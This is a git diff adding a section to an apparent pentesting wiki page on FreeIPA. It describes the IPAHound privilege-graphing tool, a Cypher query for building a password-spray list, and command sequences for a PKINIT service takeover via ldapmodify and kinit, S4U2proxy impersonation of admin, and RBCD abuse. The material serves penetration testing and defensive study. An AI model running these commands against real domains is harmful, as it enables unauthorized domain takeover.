diff --git a/src/linux-hardening/freeipa-pentesting.md b/src/linux-hardening/freeipa-pentesting.md index 3591668be22..c7cc7c004f3 100644 --- a/src/linux-hardening/freeipa-pentesting.md +++ b/src/linux-hardening/freeipa-pentesting.md @@ -169,6 +169,100 @@ ipa permission-find ipa permission-show --all ``` +### IPAHound: Graphing FreeIPA from a low-privileged user + +In **FreeIPA**, a regular user usually **cannot read** the real **ACI / permission / delegation** internals, so a pentest-oriented graph has to **infer effective privileges** from attributes that remain readable. [IPAHound](https://github.com/IPAHound/IPAHound) does this for FreeIPA in a similar way to BloodHound for AD, and is especially useful after compromising a **standard user**, a **host keytab**, or a **service account**. + +#### Collector usage + +```bash +# Kerberos auth +IPAHound -k -s dc1.domain.local -a freeipa_apoc.json + +# Username/password auth +IPAHound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Password123!' -a freeipa_apoc.json + +# Save raw LDAP for offline re-processing +IPAHound -k -s dc1.domain.local --output-raw raw.json +IPAHound --input-raw raw.json -a freeipa_apoc.json +``` + +For large datasets, importing the **APOC** JSON into **Neo4j** is much faster than GUI upload: + +```cypher +CREATE CONSTRAINT FOR (n:IPADomain) REQUIRE n.neo4jImportId IS UNIQUE; +CREATE CONSTRAINT FOR (n:IPAUser) REQUIRE n.neo4jImportId IS UNIQUE; +CREATE CONSTRAINT FOR (n:IPAGroup) REQUIRE n.neo4jImportId IS UNIQUE; +CREATE CONSTRAINT FOR (n:IPAComputer) REQUIRE n.neo4jImportId IS UNIQUE; +CREATE CONSTRAINT FOR (n:IPAService) REQUIRE n.neo4jImportId IS UNIQUE; +CALL apoc.import.json("/path/to/freeipa_apoc.json"); +``` + +#### Useful FreeIPA inference points + +- **`memberOf`**: often the best low-privilege source to infer hidden **roles**, **privileges**, and **permissions**. +- **`memberManager`**: indicates who can change group membership, which is an **`AddMember`** primitive. +- **`managedBy`**: indicates ownership of a host/group, which becomes an **`Owns`** edge. +- **`ipaAllowedToPerform;read_keys`**: translates into **`ReadKerberosKey`** and can expose keytab retrieval paths. +- **`ipaAllowedToPerform;write_keys`**: translates into **`ForceChangePassword`** for computer/service Kerberos keys. +- **`ipaAllowedToPerform;write_delegation`**: indicates who can configure **RBCD**, which becomes **`AddRBCD`**. +- **`krbTicketFlags`**: look for `IPAKrbOkAsDelegate` and `IPAKrbOkToAuthAsDelegate` to spot delegation-capable hosts/services. +- **`ipaUserAuthType`**: if missing, password auth is usually allowed; IPAHound derives this into **`PasswordAuthAllow=True`**. + +#### Hunting sprayable users and lateral movement + +Use **`PasswordAuthAllow`** to build a focused spray list instead of spraying every principal: + +```cypher +MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True +RETURN n.krbCanonicalName +``` + +Then pivot with the FreeIPA-specific lateral movement edges: + +- **`CanSSH`**: an HBAC rule allows access to `sshd`. +- **`CanSUDO`**: HBAC allows `sudo` **and** a matching sudo rule exists. +- Check the **`CanSUDO`** edge attributes for **`ipaSudoOpt=!authenticate`**, **`ipaSudoRunAs`**, **`cmdCategory`**, **`memberAllowCmd`**, and **`memberDenyCmd`** to decide whether the path gives practical host escalation. +- A path such as **`CanSSH`** + **`CanSUDO`** to a domain controller can be enough to steal **`id2entry.db`**, which is effectively full domain compromise. + +#### Service takeover, PKINIT, and delegation chaining + +If you control a **computer account**, remember that in FreeIPA it typically **owns its service principals**. That gives two main options: + +- reset the service keys with **`ipa-getkeytab`** +- avoid resetting the service password and instead abuse **PKINIT** by writing a certificate into the owned service LDAP object + +Minimal PKINIT takeover flow: + +```bash +openssl req -new -newkey rsa:2048 -days 365 -nodes \ + -keyout private.key -out cert.csr -subj '/CN=srv.domain.local' +ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local +ldapmodify -h dc1.domain.local <<'EOF' +dn: krbprincipalname=test/srv.domain.local@DOMAIN.LOCAL,cn=services,cn=accounts,dc=domain,dc=local +add: userCertificate;binary +userCertificate;binary:: +EOF +kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL +ldapwhoami -H ldap://dc1.domain.local +``` + +Notes: + +- The CSR **CN** needs to match the exact hostname. +- Adding the cert with the **`ipa`** utility is not enough for this path; write **`userCertificate;binary`** via **LDAP**. +- Verify the new identity with **`ldapwhoami`** before attempting delegation abuse. + +Once the service has an **`AllowedToDelegate`** path, use **S4U2proxy** to impersonate a privileged account to LDAP: + +```bash +kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \ + test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache +KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local +``` + +If the graph instead shows **`AddMember`** followed by **`AddRBCD`**, add yourself to the delegated group first and then configure RBCD with `ipa service-add-delegation` before requesting the delegated LDAP ticket. + ### Attack Scenario Example In [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) you can find a simple example of how to abuse some permissions to compromise the domain. @@ -194,8 +288,10 @@ You can check a detailed explaination in [https://posts.specterops.io/attacking- - [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) - [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a) - [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1) +- [https://swarm.ptsecurity.com/thinking-in-graphs-with-ipahound/](https://swarm.ptsecurity.com/thinking-in-graphs-with-ipahound/) +- [https://github.com/IPAHound/IPAHound](https://github.com/IPAHound/IPAHound) +- [https://github.com/IPAHound/IPAHound-GUI](https://github.com/IPAHound/IPAHound-GUI) - [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ) {{#include ../banners/hacktricks-training.md}} -